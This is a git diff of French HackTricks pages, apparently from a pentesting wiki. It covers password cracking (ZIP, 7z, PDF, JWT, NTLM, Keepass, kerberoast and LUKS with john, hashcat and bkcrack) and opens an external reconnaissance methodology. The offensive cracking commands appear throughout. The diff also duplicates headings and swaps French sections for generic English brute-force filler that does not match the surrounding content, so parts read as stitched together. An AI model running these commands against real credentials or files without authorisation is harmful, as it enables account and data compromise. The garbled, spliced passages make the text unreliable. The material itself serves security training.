<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des flux de travail** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Obtenez l'accès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -463,14 +675,14 @@ Obtenez l'accès aujourd'hui :
|
||||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, captures WPA2, et archives MSOffice, ZIP, PDF...)
|
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, captures WPA2, et archives MSOffice, ZIP, PDF...)
|
||||||
* [https://crackstation.net/](https://crackstation.net) (Hashes)
|
* [https://crackstation.net/](https://crackstation.net) (Hashes)
|
||||||
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||||
* [https://gpuhash.me/](https://gpuhash.me) (Hashes et hashes de fichiers)
|
* [https://gpuhash.me/](https://gpuhash.me) (Hashes et hachages de fichiers)
|
||||||
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
|
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
|
||||||
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
|
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
|
||||||
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
|
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
|
||||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||||
|
|
||||||
Consultez cela avant d'essayer de forcer brutalement un Hash.
|
Consultez ceci avant d'essayer de brute force un Hash.
|
||||||
|
|
||||||
### ZIP
|
### ZIP
|
||||||
```bash
|
```bash
|
||||||
|
@ -488,9 +700,9 @@ john zip.john
|
||||||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||||
```
|
```
|
||||||
#### Attaque de zip en texte clair connu
|
#### Attaque par force brute de texte en clair connu
|
||||||
|
|
||||||
Vous devez connaître le **texte clair** (ou une partie du texte clair) **d'un fichier contenu à l'intérieur** du zip chiffré. Vous pouvez vérifier **les noms de fichiers et la taille des fichiers contenus à l'intérieur** d'un zip chiffré en exécutant : **`7z l encrypted.zip`**\
|
Vous devez connaître le **texte en clair** (ou une partie du texte en clair) **d'un fichier contenu à l'intérieur** du zip chiffré. Vous pouvez vérifier les **noms de fichiers et la taille des fichiers contenus à l'intérieur** d'un zip chiffré en exécutant : **`7z l encrypted.zip`**\
|
||||||
Téléchargez [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) depuis la page des versions.
|
Téléchargez [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) depuis la page des versions.
|
||||||
```bash
|
```bash
|
||||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||||
|
@ -503,6 +715,8 @@ zip plaintext.zip plaintext.file
|
||||||
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
||||||
unzip unlocked.zip #User new_pwd as password
|
unzip unlocked.zip #User new_pwd as password
|
||||||
```
|
```
|
||||||
|
### 7z
|
||||||
|
|
||||||
### 7z
|
### 7z
|
||||||
```bash
|
```bash
|
||||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||||
|
@ -515,6 +729,14 @@ apt-get install libcompress-raw-lzma-perl
|
||||||
./7z2john.pl file.7z > 7zhash.john
|
./7z2john.pl file.7z > 7zhash.john
|
||||||
```
|
```
|
||||||
### PDF
|
### PDF
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there is no other way to obtain it. Brute force attacks can be time-consuming but are often effective.
|
||||||
|
|
||||||
|
#### Protection
|
||||||
|
|
||||||
|
To protect against brute force attacks, it is important to use strong and complex passwords that are not easily guessable. Implementing account lockout policies after a certain number of failed login attempts can also help prevent brute force attacks. Additionally, using multi-factor authentication can add an extra layer of security against these types of attacks.
|
||||||
```bash
|
```bash
|
||||||
apt-get install pdfcrack
|
apt-get install pdfcrack
|
||||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||||
|
@ -523,9 +745,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||||
sudo apt-get install qpdf
|
sudo apt-get install qpdf
|
||||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||||
```
|
```
|
||||||
### Mot de passe du propriétaire PDF
|
### Mot de passe propriétaire PDF
|
||||||
|
|
||||||
Pour cracker un mot de passe de propriétaire PDF, consultez ceci : [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
Pour craquer un mot de passe propriétaire PDF, consultez ceci : [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||||
|
|
||||||
### JWT
|
### JWT
|
||||||
```bash
|
```bash
|
||||||
|
@ -539,12 +761,14 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
|
||||||
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
||||||
john jwt.john #It does not work with Kali-John
|
john jwt.john #It does not work with Kali-John
|
||||||
```
|
```
|
||||||
### Craquage de NTLM
|
### Craquage NTLM
|
||||||
```bash
|
```bash
|
||||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||||
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
||||||
```
|
```
|
||||||
|
### Keepass
|
||||||
|
|
||||||
### Keepass
|
### Keepass
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||||
|
@ -554,6 +778,8 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
|
||||||
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
||||||
```
|
```
|
||||||
### Keberoasting
|
### Keberoasting
|
||||||
|
|
||||||
|
Keberoasting est une technique utilisée pour extraire des hachages de mots de passe à partir de services tels que Kerberos en ciblant les comptes utilisateur qui ont des services Kerberos associés.
|
||||||
```bash
|
```bash
|
||||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||||
|
@ -563,7 +789,7 @@ hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||||
|
|
||||||
#### Méthode 1
|
#### Méthode 1
|
||||||
|
|
||||||
Installation : [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
Installer : [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
||||||
```bash
|
```bash
|
||||||
bruteforce-luks -f ./list.txt ./backup.img
|
bruteforce-luks -f ./list.txt ./backup.img
|
||||||
cryptsetup luksOpen backup.img mylucksopen
|
cryptsetup luksOpen backup.img mylucksopen
|
||||||
|
@ -596,16 +822,16 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Clé principale DPAPI
|
### Clé maître DPAPI
|
||||||
|
|
||||||
Utilisez [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) puis john
|
Utilisez [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) puis john
|
||||||
|
|
||||||
### Colonne protégée par mot de passe Open Office
|
### Colonne protégée par mot de passe dans Open Office
|
||||||
|
|
||||||
Si vous avez un fichier xlsx avec une colonne protégée par un mot de passe, vous pouvez la déprotéger :
|
Si vous avez un fichier xlsx avec une colonne protégée par un mot de passe, vous pouvez la déprotéger :
|
||||||
|
|
||||||
* **Téléchargez-la sur Google Drive** et le mot de passe sera automatiquement supprimé
|
* **Téléchargez-le sur Google Drive** et le mot de passe sera automatiquement supprimé
|
||||||
* Pour **retirer** le mot de passe **manuellement** :
|
* Pour le **supprimer** **manuellement** :
|
||||||
```bash
|
```bash
|
||||||
unzip file.xlsx
|
unzip file.xlsx
|
||||||
grep -R "sheetProtection" ./*
|
grep -R "sheetProtection" ./*
|
||||||
|
@ -624,8 +850,8 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** facilement, alimentés par les outils communautaires **les plus avancés** au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Obtenez l'accès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -633,7 +859,7 @@ Obtenez l'accès aujourd'hui :
|
||||||
|
|
||||||
**Exemples de hash :** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
**Exemples de hash :** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||||
|
|
||||||
### Hash-identifier
|
### Identification de hash
|
||||||
```bash
|
```bash
|
||||||
hash-identifier
|
hash-identifier
|
||||||
> <HASH>
|
> <HASH>
|
||||||
|
@ -643,15 +869,15 @@ hash-identifier
|
||||||
* **Rockyou**
|
* **Rockyou**
|
||||||
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
||||||
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
|
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
|
||||||
* [**Seclists - Mots de passe**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
||||||
|
|
||||||
### **Outils de génération de listes de mots**
|
### **Outils de génération de listes de mots**
|
||||||
|
|
||||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)** :** Générateur avancé de parcours clavier avec caractères de base, carte de clavier et itinéraires configurables.
|
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Générateur avancé de séquences de touches avec des caractères de base configurables, une disposition de touches et des itinéraires.
|
||||||
```bash
|
```bash
|
||||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||||
```
|
```
|
||||||
### Mutation John
|
### Mutation de John
|
||||||
|
|
||||||
Lisez _**/etc/john/john.conf**_ et configurez-le
|
Lisez _**/etc/john/john.conf**_ et configurez-le
|
||||||
```bash
|
```bash
|
||||||
|
@ -662,16 +888,16 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||||
|
|
||||||
#### Attaques Hashcat
|
#### Attaques Hashcat
|
||||||
|
|
||||||
* **Attaque par liste de mots** (`-a 0`) avec règles
|
* **Attaque par liste de mots** (`-a 0`) avec des règles
|
||||||
|
|
||||||
**Hashcat** est déjà fourni avec un **dossier contenant des règles** mais vous pouvez trouver [**d'autres règles intéressantes ici**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
**Hashcat** est déjà livré avec un **dossier contenant des règles** mais vous pouvez trouver [**d'autres règles intéressantes ici**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||||
```
|
```
|
||||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||||
```
|
```
|
||||||
* **Attaque par combinaison de wordlist**
|
* **Attaque de combinaison de listes de mots**
|
||||||
|
|
||||||
Il est possible de **combiner 2 wordlists en 1** avec hashcat.\
|
Il est possible de **combiner 2 listes de mots en 1** avec hashcat.\
|
||||||
Si la liste 1 contient le mot **"hello"** et la seconde contient 2 lignes avec les mots **"world"** et **"earth"**. Les mots `helloworld` et `helloearth` seront générés.
|
Si la liste 1 contenait le mot **"hello"** et que la seconde contenait 2 lignes avec les mots **"world"** et **"earth"**. Les mots `helloworld` et `helloearth` seront générés.
|
||||||
```bash
|
```bash
|
||||||
# This will combine 2 wordlists
|
# This will combine 2 wordlists
|
||||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||||
|
@ -726,19 +952,75 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||||||
```bash
|
```bash
|
||||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||||
```
|
```
|
||||||
### Craquage de Hashes Linux - fichier /etc/shadow
|
## Brute Forcing
|
||||||
|
|
||||||
|
### Dictionary Attack
|
||||||
|
|
||||||
|
A dictionary attack involves using a wordlist to crack passwords. This method is more efficient than a brute force attack as it only tries words from the wordlist, saving time and resources.
|
||||||
|
|
||||||
|
### Brute Force Attack
|
||||||
|
|
||||||
|
A brute force attack involves trying all possible combinations of characters until the correct password is found. This method is time-consuming and resource-intensive but can be effective against complex passwords.
|
||||||
|
|
||||||
|
### Rainbow Tables
|
||||||
|
|
||||||
|
Rainbow tables are precomputed tables used to crack password hashes. They are effective for cracking passwords quickly by looking up precomputed hashes in the table.
|
||||||
|
|
||||||
|
### Hashcat
|
||||||
|
|
||||||
|
Hashcat is a popular password cracking tool that supports various hashing algorithms and attack types, including brute force and dictionary attacks. It can be used to crack Linux hashes stored in the `/etc/shadow` file.
|
||||||
```
|
```
|
||||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||||
```
|
```
|
||||||
### Craquage des Hashes Windows
|
# Brute Force
|
||||||
|
|
||||||
|
## Introduction
|
||||||
|
|
||||||
|
Brute force attacks are a common way to crack passwords. This method involves trying all possible combinations of characters until the correct password is found. Brute force attacks can be time-consuming but are often successful.
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
There are many tools available for conducting brute force attacks, such as Hydra, Medusa, and John the Ripper. These tools can be customized to target specific services and protocols.
|
||||||
|
|
||||||
|
## Windows Hashes
|
||||||
|
|
||||||
|
When cracking Windows hashes, tools like Hashcat and John the Ripper can be used. These tools support various hash algorithms used by Windows, such as NTLM and LM hashes.
|
||||||
|
|
||||||
|
## Techniques
|
||||||
|
|
||||||
|
Brute force attacks can be optimized by using techniques like password spraying, where a common password is tried across multiple accounts, or by using wordlists to narrow down the possible password combinations.
|
||||||
|
|
||||||
|
## Conclusion
|
||||||
|
|
||||||
|
Brute force attacks can be a powerful method for cracking passwords, especially when other methods fail. It is important to use these techniques responsibly and ethically.
|
||||||
```
|
```
|
||||||
3000 | LM | Operating-Systems
|
3000 | LM | Operating-Systems
|
||||||
1000 | NTLM | Operating-Systems
|
1000 | NTLM | Operating-Systems
|
||||||
```
|
```
|
||||||
### Craquage des hachages d'applications courantes
|
## Brute-Force
|
||||||
|
|
||||||
|
### Introduction
|
||||||
|
|
||||||
|
Brute-force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-forcing is often used when other methods, such as dictionary attacks, fail to crack the hash.
|
||||||
|
|
||||||
|
### Tools
|
||||||
|
|
||||||
|
There are various tools available for performing brute-force attacks, such as Hashcat, John the Ripper, and Hydra. These tools allow you to specify the character set, length of the password, and other parameters to customize the brute-force attack.
|
||||||
|
|
||||||
|
### Methodology
|
||||||
|
|
||||||
|
1. **Select Hash Algorithm**: Determine the hash algorithm used to generate the hash.
|
||||||
|
2. **Generate Wordlist**: Create a wordlist containing possible passwords.
|
||||||
|
3. **Configure Brute-Force Tool**: Set up the brute-force tool with the hash, wordlist, and any other parameters.
|
||||||
|
4. **Initiate Attack**: Start the brute-force attack and wait for the tool to find the correct password.
|
||||||
|
5. **Optimize**: Adjust parameters such as character set and password length to optimize the attack.
|
||||||
|
|
||||||
|
### Conclusion
|
||||||
|
|
||||||
|
Brute-force attacks can be time-consuming but are effective in cracking common application hashes. By using the right tools and techniques, you can successfully recover passwords from hashed data.
|
||||||
```
|
```
|
||||||
900 | MD4 | Raw Hash
|
900 | MD4 | Raw Hash
|
||||||
0 | MD5 | Raw Hash
|
0 | MD5 | Raw Hash
|
||||||
|
@ -752,20 +1034,20 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez-y dès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -1,57 +1,57 @@
|
||||||
# Méthodologie de Reconnaissance Externe
|
# Méthodologie de reconnaissance externe
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Conseil pour les bug bounties** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de **bug bounties créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des bounties allant jusqu'à **100 000 $** !
|
**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour des pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
## Découverte d'actifs
|
## Découvertes d'actifs
|
||||||
|
|
||||||
> On vous a dit que tout ce qui appartient à une certaine entreprise est dans le périmètre, et vous voulez déterminer ce que cette entreprise possède réellement.
|
> On vous a dit que tout ce qui appartient à une entreprise est inclus dans le périmètre, et vous voulez savoir ce que possède réellement cette entreprise.
|
||||||
|
|
||||||
L'objectif de cette phase est d'obtenir toutes les **entreprises possédées par l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons :
|
L'objectif de cette phase est d'obtenir toutes les **entreprises appartenant à l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons :
|
||||||
|
|
||||||
1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises dans le périmètre.
|
1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises incluses dans le périmètre.
|
||||||
2. Trouver l'ASN (s'il y en a) de chaque entreprise, cela nous donnera les plages d'IP possédées par chaque entreprise.
|
2. Trouver l'ASN (le cas échéant) de chaque entreprise, cela nous donnera les plages d'IP possédées par chaque entreprise.
|
||||||
3. Utiliser des recherches inversées de whois pour chercher d'autres entrées (noms d'organisations, domaines...) liées à la première (cela peut être fait de manière récursive).
|
